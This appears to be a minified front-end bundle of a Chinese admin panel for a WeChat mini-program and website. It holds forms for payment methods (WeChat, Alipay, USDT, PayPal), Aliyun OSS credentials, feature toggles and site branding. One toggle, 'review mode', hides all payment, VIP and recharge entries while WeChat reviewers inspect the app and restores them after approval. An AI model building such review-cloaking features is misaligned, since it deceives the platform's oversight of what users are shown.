text-white",placeholder:"wxb8bbb2b10dec74aa",value:u.appId??"",onChange:P=>h(q=>({...q,appId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"提现订阅模板 ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"用户申请提现时需授权",value:u.withdrawSubscribeTmplId??"",onChange:P=>h(q=>({...q,withdrawSubscribeTmplId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"微信支付商户号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"1318592501",value:u.mchId??"",onChange:P=>h(q=>({...q,mchId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"最低提现金额 (元)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:u.minWithdraw??10,onChange:P=>h(q=>({...q,minWithdraw:Number.parseFloat(P.target.value)||10}))})]})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(iM,{className:"w-5 h-5 text-[#38bdac]"}),"OSS 配置(阿里云对象存储)"]}),s.jsx(It,{className:"text-gray-400",children:"endpoint、bucket、accessKey 等,用于图片/文件上传"})]}),s.jsx(Ee,{className:"space-y-4",children:s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Endpoint"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"oss-cn-hangzhou.aliyuncs.com",value:f.endpoint??"",onChange:P=>m(q=>({...q,endpoint:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Bucket"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"bucket 名称",value:f.bucket??"",onChange:P=>m(q=>({...q,bucket:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"Region"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"oss-cn-hangzhou",value:f.region??"",onChange:P=>m(q=>({...q,region:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"AccessKey ID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"AccessKey ID",value:f.accessKeyId??"",onChange:P=>m(q=>({...q,accessKeyId:P.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"AccessKey Secret"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"AccessKey Secret",value:f.accessKeySecret??"",onChange:P=>m(q=>({...q,accessKeySecret:P.target.value}))})]})]})})]}),s.jsxs(Ce,{className:`bg-[#0f2137] shadow-xl ${u.auditMode?"border-amber-500/50 border-2":"border-gray-700/50"}`,children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(_c,{className:"w-5 h-5 text-amber-400"}),"小程序审核模式"]}),s.jsx(It,{className:"text-gray-400",children:"提交微信审核前开启,审核通过后关闭即可恢复支付功能"})]}),s.jsx(Ee,{children:s.jsxs("div",{className:`flex items-center justify-between p-4 rounded-lg border ${u.auditMode?"bg-amber-500/10 border-amber-500/30":"bg-[#0a1628] border-gray-700/50"}`,children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(_c,{className:`w-4 h-4 ${u.auditMode?"text-amber-400":"text-gray-400"}`}),s.jsx(X,{htmlFor:"audit-mode",className:"text-white font-medium cursor-pointer",children:u.auditMode?"审核模式(已开启)":"审核模式(已关闭)"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:u.auditMode?"当前已隐藏所有支付、VIP、充值、收益等入口,审核员看不到任何付费内容":"关闭状态,小程序正常显示所有功能(含支付、VIP 等)"})]}),s.jsx(kt,{id:"audit-mode",checked:u.auditMode??!1,disabled:fe,onCheckedChange:$})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(lo,{className:"w-5 h-5 text-[#38bdac]"}),"功能开关"]}),s.jsx(It,{className:"text-gray-400",children:"控制各个功能模块的显示/隐藏"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Zn,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"match-enabled",className:"text-white font-medium cursor-pointer",children:"找伙伴功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制小程序和Web端的找伙伴功能显示"})]}),s.jsx(kt,{id:"match-enabled",checked:o.matchEnabled,disabled:R,onCheckedChange:P=>ne("matchEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Xw,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"referral-enabled",className:"text-white font-medium cursor-pointer",children:"推广功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制推广中心的显示(我的页面入口)"})]}),s.jsx(kt,{id:"referral-enabled",checked:o.referralEnabled,disabled:R,onCheckedChange:P=>ne("referralEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(Br,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"search-enabled",className:"text-white font-medium cursor-pointer",children:"搜索功能"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制首页、目录页搜索栏的显示"})]}),s.jsx(kt,{id:"search-enabled",checked:o.searchEnabled,disabled:R,onCheckedChange:P=>ne("searchEnabled",P)})]}),s.jsxs("div",{className:"flex items-center justify-between p-4 rounded-lg bg-[#0a1628] border border-gray-700/50",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(lo,{className:"w-4 h-4 text-[#38bdac]"}),s.jsx(X,{htmlFor:"about-enabled",className:"text-white font-medium cursor-pointer",children:"关于页面"})]}),s.jsx("p",{className:"text-xs text-gray-400 ml-6",children:"控制关于页面的访问"})]}),s.jsx(kt,{id:"about-enabled",checked:o.aboutEnabled,disabled:R,onCheckedChange:P=>ne("aboutEnabled",P)})]})]}),s.jsx("div",{className:"p-3 rounded-lg bg-blue-500/10 border border-blue-500/30",children:s.jsx("p",{className:"text-xs text-blue-300",children:"💡 关闭功能后,相关入口会自动隐藏。建议在功能开发完成后再开启。"})})]})]})]})}),s.jsx(en,{value:"author",className:"mt-0",children:s.jsx(uV,{})}),s.jsx(en,{value:"admin",className:"mt-0",children:s.jsx(hV,{})}),s.jsx(en,{value:"api-docs",className:"mt-0",children:s.jsx(F4,{})})]}),s.jsx(Dt,{open:v,onOpenChange:k,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white",showCloseButton:!0,children:[s.jsxs(Lt,{children:[s.jsx(_t,{className:O?"text-red-400":"text-[#38bdac]",children:C}),s.jsx(yf,{className:"text-gray-400 whitespace-pre-wrap pt-2",children:T})]}),s.jsx(on,{className:"mt-4",children:s.jsx(te,{onClick:()=>k(!1),className:O?"bg-gray-600 hover:bg-gray-500":"bg-[#38bdac] hover:bg-[#2da396]",children:"确定"})})]})})]})}const ww={wechat:{enabled:!0,qrCode:"/images/wechat-pay.png",account:"卡若",websiteAppId:"",merchantId:"",groupQrCode:"/images/party-group-qr.png"},alipay:{enabled:!0,qrCode:"/images/alipay.png",account:"卡若",partnerId:"",securityKey:""},usdt:{enabled:!1,network:"TRC20",address:"",exchangeRate:7.2},paypal:{enabled:!1,email:"",exchangeRate:7.2}};function bV(){const[t,e]=b.useState(!1),[n,r]=b.useState(ww),[a,i]=b.useState(""),o=async()=>{e(!0);try{const k=await De("/api/config");k!=null&&k.paymentMethods&&r({...ww,...k.paymentMethods})}catch(k){console.error(k)}finally{e(!1)}};b.useEffect(()=>{o()},[]);const c=async()=>{e(!0);try{await vt("/api/db/config",{key:"payment_methods",value:n,description:"支付方式配置"}),ie.success("配置已保存!")}catch(k){console.error("保存失败:",k),ie.error("保存失败: "+(k instanceof Error?k.message:String(k)))}finally{e(!1)}},u=(k,C)=>{navigator.clipboard.writeText(k),i(C),setTimeout(()=>i(""),2e3)},h=(k,C)=>{r(E=>({...E,wechat:{...E.wechat,[k]:C}}))},f=(k,C)=>{r(E=>({...E,alipay:{...E.alipay,[k]:C}}))},m=(k,C)=>{r(E=>({...E,usdt:{...E.usdt,[k]:C}}))},g=(k,C)=>{r(E=>({...E,paypal:{...E.paypal,[k]:C}}))},y=n.wechat,N=n.alipay,w=n.usdt,v=n.paypal;return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h1",{className:"text-2xl font-bold mb-2 text-white",children:"支付配置"}),s.jsx("p",{className:"text-gray-400",children:"配置微信、支付宝、USDT、PayPal等支付参数"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsxs(te,{variant:"outline",onClick:o,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${t?"animate-spin":""}`}),"同步配置"]}),s.jsxs(te,{onClick:c,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存配置"]})]})]}),s.jsx("div",{className:"mb-6 bg-[#07C160]/10 border border-[#07C160]/30 rounded-xl p-4",children:s.jsxs("div",{className:"flex items-start gap-3",children:[s.jsx(Gw,{className:"w-5 h-5 text-[#07C160] flex-shrink-0 mt-0.5"}),s.jsxs("div",{className:"text-sm",children:[s.jsx("p",{className:"font-medium mb-2 text-[#07C160]",children:"如何获取微信群跳转链接?"}),s.jsxs("ol",{className:"text-[#07C160]/80 space-y-1 list-decimal list-inside",children:[s.jsx("li",{children:"打开微信,进入目标微信群"}),s.jsx("li",{children:'点击右上角"..." → "群二维码"'}),s.jsx("li",{children:'点击右上角"..." → "发送到电脑"'}),s.jsx("li",{children:"在电脑上保存二维码图片,上传到图床获取URL"}),s.jsx("li",{children:"或使用草料二维码等工具解析二维码获取链接"})]}),s.jsx("p",{className:"text-[#07C160]/60 mt-2",children:"提示:微信群二维码7天后失效,建议使用活码工具"})]})]})}),s.jsxs(yd,{defaultValue:"wechat",className:"space-y-6",children:[s.jsxs(Ll,{className:"bg-[#0f2137] border border-gray-700/50 p-1 grid grid-cols-4 w-full",children:[s.jsxs(Zt,{value:"wechat",className:"data-[state=active]:bg-[#07C160]/20 data-[state=active]:text-[#07C160] text-gray-400",children:[s.jsx(yi,{className:"w-4 h-4 mr-2"}),"微信"]}),s.jsxs(Zt,{value:"alipay",className:"data-[state=active]:bg-[#1677FF]/20 data-[state=active]:text-[#1677FF] text-gray-400",children:[s.jsx(Fv,{className:"w-4 h-4 mr-2"}),"支付宝"]}),s.jsxs(Zt,{value:"usdt",className:"data-[state=active]:bg-[#26A17B]/20 data-[state=active]:text-[#26A17B] text-gray-400",children:[s.jsx(zv,{className:"w-4 h-4 mr-2"}),"USDT"]}),s.jsxs(Zt,{value:"paypal",className:"data-[state=active]:bg-[#003087]/20 data-[state=active]:text-[#169BD7] text-gray-400",children:[s.jsx(Rg,{className:"w-4 h-4 mr-2"}),"PayPal"]})]}),s.jsx(en,{value:"wechat",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#07C160] flex items-center gap-2",children:[s.jsx(yi,{className:"w-5 h-5"}),"微信支付配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置微信支付参数和跳转链接"})]}),s.jsx(kt,{checked:!!y.enabled,onCheckedChange:k=>h("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"网站AppID"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(y.websiteAppId??""),onChange:k=>h("websiteAppId",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"商户号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(y.merchantId??""),onChange:k=>h("merchantId",k.target.value)})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-4 space-y-4",children:[s.jsxs("h4",{className:"text-white font-medium flex items-center gap-2",children:[s.jsx(Us,{className:"w-4 h-4 text-[#38bdac]"}),"跳转链接配置(核心功能)"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"微信收款码/支付链接"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"https://收款码图片URL 或 weixin://支付链接",value:String(y.qrCode??""),onChange:k=>h("qrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户点击微信支付后显示的二维码图片URL"})]}),s.jsxs("div",{className:"space-y-2 bg-[#07C160]/5 p-4 rounded-xl border border-[#07C160]/20",children:[s.jsx(X,{className:"text-[#07C160] font-medium",children:"微信群跳转链接(支付成功后跳转)"}),s.jsx(se,{className:"bg-[#0a1628] border-[#07C160]/30 text-white placeholder:text-gray-500",placeholder:"https://weixin.qq.com/g/... 或微信群二维码图片URL",value:String(y.groupQrCode??""),onChange:k=>h("groupQrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-[#07C160]/70",children:"用户支付成功后将自动跳转到此链接,进入指定微信群"})]})]})]})]})}),s.jsx(en,{value:"alipay",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#1677FF] flex items-center gap-2",children:[s.jsx(Fv,{className:"w-5 h-5"}),"支付宝配置"]}),s.jsx(It,{className:"text-gray-400",children:"已加载真实支付宝参数"})]}),s.jsx(kt,{checked:!!N.enabled,onCheckedChange:k=>f("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"合作者身份 (PID)"}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(N.partnerId??""),onChange:k=>f("partnerId",k.target.value)}),s.jsx(te,{size:"icon",variant:"outline",className:"border-gray-700 bg-transparent",onClick:()=>u(String(N.partnerId??""),"pid"),children:a==="pid"?s.jsx(ff,{className:"w-4 h-4 text-green-500"}):s.jsx(Bx,{className:"w-4 h-4 text-gray-400"})})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"安全校验码 (Key)"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",value:String(N.securityKey??""),onChange:k=>f("securityKey",k.target.value)})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-4 space-y-4",children:[s.jsxs("h4",{className:"text-white font-medium flex items-center gap-2",children:[s.jsx(Us,{className:"w-4 h-4 text-[#38bdac]"}),"跳转链接配置"]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"支付宝收款码/跳转链接"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white placeholder:text-gray-500",placeholder:"https://qr.alipay.com/... 或收款码图片URL",value:String(N.qrCode??""),onChange:k=>f("qrCode",k.target.value)}),s.jsx("p",{className:"text-xs text-gray-500",children:"用户点击支付宝支付后显示的二维码"})]})]})]})]})}),s.jsx(en,{value:"usdt",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#26A17B] flex items-center gap-2",children:[s.jsx(zv,{className:"w-5 h-5"}),"USDT配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置加密货币收款地址"})]}),s.jsx(kt,{checked:!!w.enabled,onCheckedChange:k=>m("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"网络类型"}),s.jsxs("select",{className:"w-full bg-[#0a1628] border border-gray-700 text-white rounded-md p-2",value:String(w.network??"TRC20"),onChange:k=>m("network",k.target.value),children:[s.jsx("option",{value:"TRC20",children:"TRC20 (波场)"}),s.jsx("option",{value:"ERC20",children:"ERC20 (以太坊)"}),s.jsx("option",{value:"BEP20",children:"BEP20 (币安链)"})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"收款地址"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white font-mono text-sm",placeholder:"T... (TRC20地址)",value:String(w.address??""),onChange:k=>m("address",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"汇率 (1 USD = ? CNY)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:Number(w.exchangeRate)??7.2,onChange:k=>m("exchangeRate",Number.parseFloat(k.target.value)||7.2)})]})]})]})}),s.jsx(en,{value:"paypal",className:"space-y-4",children:s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{className:"flex flex-row items-center justify-between pb-2",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsxs(Qe,{className:"text-[#169BD7] flex items-center gap-2",children:[s.jsx(Rg,{className:"w-5 h-5"}),"PayPal配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置PayPal收款账户"})]}),s.jsx(kt,{checked:!!v.enabled,onCheckedChange:k=>g("enabled",k)})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"PayPal邮箱"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"your@email.com",value:String(v.email??""),onChange:k=>g("email",k.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"汇率 (1 USD = ? CNY)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:Number(v.exchangeRate)??7.2,onChange:k=>g("exchangeRate",Number(k.target.value)||7.2)})]})]})]})})]})]})}const vV={siteName:"卡若日记",siteTitle:"一场SOUL的创业实验场",siteDescription:"来自Soul派对房的真实商业故事",logo:"/logo.png",favicon:"/favicon.ico",primaryColor:"#00CED1"},NV={home:{enabled:!0,label:"首页"},chapters:{enabled:!0,label:"目录"},match:{enabled:!0,label:"匹配"},my:{enabled:!0,label:"我的"}},wV={homeTitle:"一场SOUL的创业实验场",homeSubtitle:"来自Soul派对房的真实商业故事",chaptersTitle:"我要看",matchTitle:"语音匹配",myTitle:"我的",aboutTitle:"关于作者"};function jV(){const[t,e]=b.useState({siteConfig:{...vV},menuConfig:{...NV},pageConfig:{...wV}}),[n,r]=b.useState(!1),[a,i]=b.useState(!1);b.useEffect(()=>{De("/api/config").then(f=>{f!=null&&f.siteConfig&&e(m=>({...m,siteConfig:{...m.siteConfig,...f.siteConfig}})),f!=null&&f.menuConfig&&e(m=>({...m,menuConfig:{...m.menuConfig,...f.menuConfig}})),f!=null&&f.pageConfig&&e(m=>({...m,pageConfig:{...m.pageConfig,...f.pageConfig}}))}).catch(console.error)},[]);const o=async()=>{i(!0);try{await vt("/api/db/config",{key:"site_config",value:t.siteConfig,description:"网站基础配置"}),await vt("/api/db/config",{key:"menu_config",value:t.menuConfig,description:"底部菜单配置"}),await vt("/api/db/config",{key:"page_config",value:t.pageConfig,description:"页面标题配置"}),r(!0),setTimeout(()=>r(!1),2e3),ie.success("配置已保存")}catch(f){console.error(f),ie.error("保存失败: "+(f instanceof Error?f.message:String(f)))}finally{i(!1)}},c=t.siteConfig,u=t.menuConfig,h=t.pageConfig;return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"网站配置"}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置网站名称、图标、菜单和页面标题"})]}),s.jsxs(te,{onClick:o,disabled:a,className:`${n?"bg-green-500":"bg-[#00CED1]"} hover:bg-[#20B2AA] text-white transition-colors`,children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":n?"已保存":"保存设置"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Rg,{className:"w-5 h-5 text-[#00CED1]"}),"网站基础信息"]}),s.jsx(It,{className:"text-gray-400",children:"配置网站名称、标题和描述"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-name",className:"text-gray-300",children:"网站名称"}),s.jsx(se,{id:"site-name",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteName??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteName:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-title",className:"text-gray-300",children:"网站标题"}),s.jsx(se,{id:"site-title",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteTitle??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteTitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"site-desc",className:"text-gray-300",children:"网站描述"}),s.jsx(se,{id:"site-desc",className:"bg-[#0a1628] border-gray-700 text-white",value:c.siteDescription??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,siteDescription:f.target.value}}))})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"logo",className:"text-gray-300",children:"Logo地址"}),s.jsx(se,{id:"logo",className:"bg-[#0a1628] border-gray-700 text-white",value:c.logo??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,logo:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{htmlFor:"favicon",className:"text-gray-300",children:"Favicon地址"}),s.jsx(se,{id:"favicon",className:"bg-[#0a1628] border-gray-700 text-white",value:c.favicon??"",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,favicon:f.target.value}}))})]})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(cA,{className:"w-5 h-5 text-[#00CED1]"}),"主题颜色"]}),s.jsx(It,{className:"text-gray-400",children:"配置网站主题色"})]}),s.jsx(Ee,{children:s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"space-y-2 flex-1",children:[s.jsx(X,{htmlFor:"primary-color",className:"text-gray-300",children:"主色调"}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(se,{id:"primary-color",type:"color",className:"w-16 h-10 bg-[#0a1628] border-gray-700 cursor-pointer p-1",value:c.primaryColor??"#00CED1",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,primaryColor:f.target.value}}))}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white flex-1",value:c.primaryColor??"#00CED1",onChange:f=>e(m=>({...m,siteConfig:{...m.siteConfig,primaryColor:f.target.value}}))})]})]}),s.jsx("div",{className:"w-24 h-24 rounded-xl flex items-center justify-center text-white font-bold",style:{backgroundColor:c.primaryColor??"#00CED1"},children:"预览"})]})})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(nA,{className:"w-5 h-5 text-[#00CED1]"}),"底部菜单配置"]}),s.jsx(It,{className:"text-gray-400",children:"控制底部导航栏菜单的显示和名称"})]}),s.jsx(Ee,{className:"space-y-4",children:Object.entries(u).map(([f,m])=>s.jsxs("div",{className:"flex items-center justify-between p-4 bg-[#0a1628] rounded-lg",children:[s.jsxs("div",{className:"flex items-center gap-4 flex-1",children:[s.jsx(kt,{checked:(m==null?void 0:m.enabled)??!0,onCheckedChange:g=>e(y=>({...y,menuConfig:{...y.menuConfig,[f]:{...m,enabled:g}}}))}),s.jsx("span",{className:"text-gray-300 w-16 capitalize",children:f}),s.jsx(se,{className:"bg-[#0f2137] border-gray-700 text-white max-w-[200px]",value:(m==null?void 0:m.label)??"",onChange:g=>e(y=>({...y,menuConfig:{...y.menuConfig,[f]:{...m,label:g.target.value}}}))})]}),s.jsx("span",{className:`text-sm ${m!=null&&m.enabled?"text-green-400":"text-gray-500"}`,children:m!=null&&m.enabled?"显示":"隐藏"})]},f))})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Yw,{className:"w-5 h-5 text-[#00CED1]"}),"页面标题配置"]}),s.jsx(It,{className:"text-gray-400",children:"配置各个页面的标题和副标题"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.homeTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,homeTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首页副标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.homeSubtitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,homeSubtitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"目录页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.chaptersTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,chaptersTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"匹配页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.matchTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,matchTitle:f.target.value}}))})]})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"我的页标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.myTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,myTitle:f.target.value}}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"关于作者标题"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:h.aboutTitle??"",onChange:f=>e(m=>({...m,pageConfig:{...m.pageConfig,aboutTitle:f.target.value}}))})]})]})]})]})]})]})}function kV(){const[t,e]=b.useState(""),[n,r]=b.useState(""),[a,i]=b.useState(""),[o,c]=b.useState({}),u=async()=>{var y,N,w,v;try{const k=await De("/api/config"),C=(N=(y=k==null?void 0:k.liveQRCodes)==null?void 0:y[0])==null?void 0:N.urls;Array.isArray(C)&&e(C.join(` `));const E=(v=(w=k==null?void 0:k.paymentMethods)==null?void 0:w.wechat)==null?void 0:v.groupQrCode;E&&r(E),c({paymentMethods:k==null?void 0:k.paymentMethods,liveQRCodes:k==null?void 0:k.liveQRCodes})}catch(k){console.error(k)}};b.useEffect(()=>{u()},[]);const h=(y,N)=>{navigator.clipboard.writeText(y),i(N),setTimeout(()=>i(""),2e3)},f=async()=>{try{const y=t.split(` 